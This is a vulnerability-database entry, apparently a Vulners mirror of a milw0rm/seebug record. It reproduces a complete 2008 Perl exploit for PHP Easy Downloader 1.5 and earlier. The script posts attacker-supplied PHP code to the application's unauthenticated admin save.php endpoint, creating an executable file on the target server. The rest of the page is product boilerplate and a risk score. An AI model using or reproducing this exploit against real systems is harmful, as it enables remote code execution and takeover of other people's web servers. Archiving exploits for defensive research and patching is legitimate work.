Lucene search
K

PHP Easy Downloader <= 1.5 - Remote File Creation Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

PHP Easy Downloader 1.5 Remote File Creation Exploit StAke

Code

                                                #!/usr/bin/perl
# --------------------------------------------------------
# PHP Easy Downloader &#60;= 1.5 Remote File Creation Exploit
# By StAkeR aka athos - StAkeR[at]hotmail[dot]it
# On 17/10/2008
# http://www.hasemithut.de/downloads/index.php
# --------------------------------------------------------

use strict;
use LWP::UserAgent;

my $host = shift(@ARGV);
my $file = shift(@ARGV);
my $http = new LWP::UserAgent;

if($host !~ /^http:\/\/(.+?)$/ && $file !~ /(\w+)\.([a-zA-Z])?/)
{
  print &#34;[?] PHP Easy Downloader &#60;= 1.5 Remote File Creation Exploit\r\n&#34;;
  print &#34;[?] Usage: perl $0 http://[host] [filename]\r\n&#34;;
  exit;
}

chomp(my $code = &#60;STDIN&#62;);

if($code !~ /(&#60;\?php|&#60;\?#)(.*?)\?&#62;/)
{
  print &#34;[?] You must insert PHP Code\r\n&#34;;
  exit;
}
  
my $post = $http-&#62;post($host.&#39;/file_info/admin/save.php&#39;,
                       [
                        filename    =&#62; $file,
                        accesses    =&#62; $code.&#39;//&#39;,
                      ]); 

if($post-&#62;is_success)
{
  if($post-&#62;as_string =~ /(Upload Date|Change Made!)/i)
  {
    print &#34;[?] $host/file_info/descriptions/$file.0 Created\r\n&#34;;
    exit;
  }
  else
  {
    print &#34;[?] Exploit Failed!\r\n&#34;;
    exit;
  }
} 


__END__

# milw0rm.com [2008-10-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17